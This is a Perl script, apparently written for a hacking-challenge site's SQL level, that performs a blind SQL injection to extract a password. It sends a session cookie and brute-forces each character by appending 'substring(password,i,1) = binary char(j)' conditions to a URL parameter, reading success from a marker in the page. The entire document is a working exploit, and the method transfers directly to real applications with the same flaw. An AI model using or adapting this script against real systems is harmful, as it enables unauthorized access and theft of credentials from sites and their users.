#!/usr/local/bin/perl

# Libraries
use LWP;
use HTTP::Cookies;

# Variables
my $length = $ARGV[0];
my $password= "";
my $base_url = "http://www.hackingzone.org/sql/level4/index.php?id=5 AND ";

# Don't buffer i/o
$|=1;

# The browser
my $ua = LWP::UserAgent->new(keep_alive => 1, timeout => 60);

# Adding the cookie
my $cookie_jar = HTTP::Cookies->new;
$cookie_jar->set_cookie(undef,
	# Here, left and right part of the cookie
	'PHPSESSID', 'f99d95e1e155cf97330ce12a99a757cb',
	# The path, the domain or IP, the port number
	'/', 'www.hackingzone.org', '80',
	# Misc : aging, ...
	1, 0, 2000, 0);

# Tell LWP agent to user cookie_jar
$ua->cookie_jar($cookie_jar);
         
for (my $i=1; $i <= 7; $i++) {
	for (my $j=32; $j <= 126; $j++) {
	
		# GET the page
		my $url = $base_url."substring(password,$i,1) = binary char($j)";
  		my $page = $ua->get($url);
	
		# Test the result
		if ($page->content =~ /Location : In Pendora Box/) {
			print "[$j]";
			$password .= chr($j);
			last;
		} else {
			print ".";
		}
	}
}

print "\nThe password is \"$password\" !\n";

